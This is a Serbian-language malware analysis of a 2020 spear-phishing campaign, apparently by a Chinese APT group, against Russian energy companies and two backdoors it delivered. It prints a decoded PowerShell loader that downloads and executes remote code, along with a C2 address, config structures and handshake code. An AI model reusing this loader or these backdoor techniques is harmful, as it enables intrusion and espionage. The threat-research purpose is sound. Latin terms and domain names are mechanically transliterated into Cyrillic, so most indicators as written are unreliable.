Истражујемо циљани шпијунски напад на руски горивно-енергетски комплекс

Наше искуство у истраживању инцидената у рачунарској безбедности показује да је е-пошта и даље један од најчешћих канала које нападачи користе да у почетку продру у нападнуту мрежну инфраструктуру. Једна неопрезна акција са сумњивим (или не тако сумњивим) писмом постаје улазна тачка за даљу инфекцију, због чега сајбер криминалци активно користе методе социјалног инжењеринга, додуше са различитим успехом.

У овом посту желимо да говоримо о нашој недавној истрази о кампањи нежељене поште која циља бројна предузећа у руском комплексу горива и енергије. Сви напади су се одвијали по истом сценарију користећи лажне е-поруке, и чинило се да нико није уложио много труда у текстуални садржај ових е-порука.

Обавештајна служба

Све је почело крајем априла 2020. године, када су аналитичари вируса „Доктор Веб” открили кампању нежељене поште у којој су хакери послали ажурирани телефонски именик запосленима у низу предузећа у руском енергенту и енергетици. Наравно, ово није био једноставан исказ забринутости, пошто директоријум није био стваран, а .доцк документи су преузели две слике са удаљених извора.

Један од њих је преузет на рачунар корисника са сервера вести[.]занневс[.]цом. Важно је напоменути да је име домена слично домену антикорупцијског медијског центра Казахстана - занневс[.]кз. С друге стране, коришћени домен је одмах подсећао на другу кампању из 2015. године познату као ТОПНЕВС, која је користила ИЦЕФОГ бацкдоор и имала тројанске контролне домене са поднизом „вести“ у њиховим називима. Још једна занимљива карактеристика је била да су приликом слања е-поште различитим примаоцима, захтеви за преузимање слике користили различите параметре захтева или јединствена имена слика.

Сматрамо да је то урађено у сврху прикупљања информација за идентификацију „поузданог“ примаоца, који би тада био загарантован да отвори писмо у право време. За преузимање слике са другог сервера коришћен је СМБ протокол, што је могло да се уради за прикупљање НетНТЛМ хешева са рачунара запослених који су отворили примљени документ.

А ево и самог писма са лажним директоријумом:

У јуну ове године, хакери су почели да користе ново име домена, спортс[.]манхајневс[.]цом, за отпремање слика. Анализа је показала да се поддомени манхајневс[.]цом користе у слању нежељене поште најмање од септембра 2019. године. Једна од мета ове кампање био је велики руски универзитет.

Такође, до јуна, организатори напада су смислили нови текст за своја писма: овог пута документ је садржао информације о развоју индустрије. Текст писма је јасно указивао да његов аутор или није матерњи говорник руског, или је намерно стварао такав утисак о себи. Нажалост, идеје развоја индустрије су се, као и увек, испоставиле само као покриће – документ је поново преузео две слике, док је сервер промењен у довнлоад[.]инклингпапер[.]цом.

Следећа иновација уследила је у јулу. У покушају да заобиђу откривање злонамерних докумената од стране антивирусних програма, нападачи су почели да користе Мицрософт Ворд документе шифроване лозинком. Истовремено, нападачи су одлучили да користе класичну технику друштвеног инжењеринга – обавештење о награди.

Текст апела је поново написан у истом стилу, што је код адресата изазвало додатну сумњу. Сервер за преузимање слике такође се није променио.

Имајте на уму да су у свим случајевима за слање писама коришћени електронски поштански сандучићи регистровани на доменима маил[.]ру и иандек[.]ру.

Аттацк

Почетком септембра 2020. било је време за акцију. Наши вирусни аналитичари забележили су нови талас напада у којима су нападачи поново слали писма под изговором да ажурирају телефонски именик. Међутим, овога пута прилог је садржао злонамерни макро.

Приликом отварања приложеног документа, макро је направио две датотеке:

• ВБС скрипта %АППДАТА%мицрософтвиндовсстарт менупрограмсстартупадоба.вбс, која је била намењена за покретање батцх датотеке;
• Сама батцх датотека %АППДАТА%цонфигстест.бат, која је била прикривена.

Суштина његовог рада се своди на покретање Поверсхелл љуске са одређеним параметрима. Параметри прослеђени љусци се декодирају у команде:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Као што следи из представљених команди, домен са којег се преузима садржај поново је прерушен у сајт са вестима. Једноставан утоваривач, чији је једини задатак да прими схеллцоде са командног и контролног сервера и изврши га. Успели смо да идентификујемо две врсте бацкдоор-а који се могу инсталирати на рачунар жртве.

БацкДоор.Сигген2.3238

Први је БацкДоор.Сигген2.3238 — наши стручњаци се раније нису сусрели, а ни други произвођачи антивируса нису помињали овај програм.

Овај програм је бацкдоор написан на Ц++ и ради на 32-битним Виндовс оперативним системима.

БацкДоор.Сигген2.3238 може да комуницира са сервером за управљање користећи два протокола: ХТТП и ХТТПС. Тестирани узорак користи ХТТПС протокол. Следећи кориснички агент се користи у захтевима ка серверу:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

У овом случају, сви захтеви се испоручују са следећим скупом параметара:

%s;type=%s;length=%s;realdata=%send

где је сваки ред %с на одговарајући начин замењен са:

• ИД зараженог рачунара,
• врста захтева који се шаље,
• дужина података у пољу реалних података,
• подаци.

У фази прикупљања информација о зараженом систему, бацкдоор генерише линију попут:

lan=%s;cmpname=%s;username=%s;version=%s;

где је лан ИП адреса зараженог рачунара, цмпнаме је име рачунара, корисничко име је корисничко име, верзија је ред 0.0.4.03.

Ове информације са сисинфо идентификатором се шаљу путем ПОСТ захтева контролном серверу који се налази на хттпс[:]//31.214[.]157.14/лог.ткт. Ако у одговору БацкДоор.Сигген2.3238 прими сигнал ХЕАРТ, веза се сматра успешном, а бацкдоор почиње главни циклус комуникације са сервером.

Потпунији опис принципа рада БацкДоор.Сигген2.3238 је у нашем библиотека вируса.

БацкДоор.Вхитебирд.23

Други програм је модификација бекдора БацкДоор.Вхитебирд, који нам је већ познат из инцидента са владином агенцијом у Казахстану. Ова верзија је написана на Ц++ и дизајнирана је да ради на 32-битним и 64-битним Виндовс оперативним системима.

Као и већина програма овог типа, БацкДоор.Вхитебирд.23 дизајниран за успостављање шифроване везе са контролним сервером и неовлашћену контролу зараженог рачунара. Инсталиран у компромитовани систем помоћу капаљке БацкДоор.Сигген2.3244.

Узорак који смо испитали је била злонамерна библиотека са два извоза:

• Гоогле Плаи
• Тест.

На почетку свог рада, дешифрује конфигурацију уграђену у бацкдоор тело користећи алгоритам заснован на КСОР операцији са бајтом 0к99. Конфигурација изгледа овако:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Да би осигурао свој стални рад, бацкдоор мења вредност наведену у пољу радно време конфигурације. Поље садржи 1440 бајтова, који узимају вредности 0 или 1 и представљају сваки минут сваког сата у дану. Прави засебну нит за сваки мрежни интерфејс који слуша интерфејс и тражи ауторизационе пакете на прокси серверу са зараженог рачунара. Када се такав пакет открије, бацкдоор додаје информације о прокси серверу на своју листу. Поред тога, проверава присуство проксија преко ВинАПИ-ја ИнтернетКуериОптионВ.

Програм проверава тренутни минут и сат и упоређује их са подацима на терену радно време конфигурације. Ако вредност за одговарајући минут у дану није нула, онда се успоставља веза са контролним сервером.

Успостављање везе са сервером симулира креирање везе помоћу ТЛС протокола верзије 1.0 између клијента и сервера. Тело бацкдоор-а садржи два бафера.

Први бафер садржи ТЛС 1.0 Цлиент Хелло пакет.

Други бафер садржи ТЛС 1.0 пакете за размену кључева клијента са дужином кључа од 0к100 бајтова, Цханге Ципхер Спец, Енцриптед Хандсхаке Мессаге.

Када шаље Цлиент Хелло пакет, бацкдоор уписује 4 бајта тренутног времена и 28 бајтова псеудо-случајних података у Цлиент Рандом поље, израчунато на следећи начин:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Примљени пакет се шаље контролном серверу. Одговор (Сервер Хелло пакет) проверава:

• усклађеност са ТЛС протоколом верзије 1.0;
• кореспонденција временске ознаке (прва 4 бајта поља Рандом Дата пацкет) коју је навео клијент временској ознаци коју је навео сервер;
• подударање прва 4 бајта после временске ознаке у пољу Рандом Дата клијента и сервера.

У случају наведених подударања, бацкдоор припрема пакет за размену кључева клијента. Да би то урадио, мења јавни кључ у пакету за размену кључева клијента, као и шифровање ИВ и податке за шифровање у пакету шифроване поруке руковања.

Бацкдоор затим прима пакет од командног и контролног сервера, проверава да ли је верзија ТЛС протокола 1.0, а затим прихвата још 54 бајта (тело пакета). Ово завршава подешавање везе.

Потпунији опис принципа рада БацкДоор.Вхитебирд.23 је у нашем библиотека вируса.

Закључак и закључци

Анализа докумената, малвера и коришћене инфраструктуре нам омогућава да са сигурношћу кажемо да је напад припремила једна од кинеских АПТ група. С обзиром на функционалност бацкдоор-а који се инсталирају на рачунаре жртава у случају успешног напада, инфекција води, у најмању руку, до крађе поверљивих информација са рачунара нападнутих организација.

Поред тога, врло вероватан сценарио је инсталација специјализованих тројанаца на локалним серверима са посебном функцијом. То могу бити контролори домена, сервери поште, интернет мрежни пролази, итд. Као што смо могли видети у примеру инцидент у Казахстану, такви сервери су од посебног интереса за нападаче из различитих разлога.

Извор: ввв.хабр.цом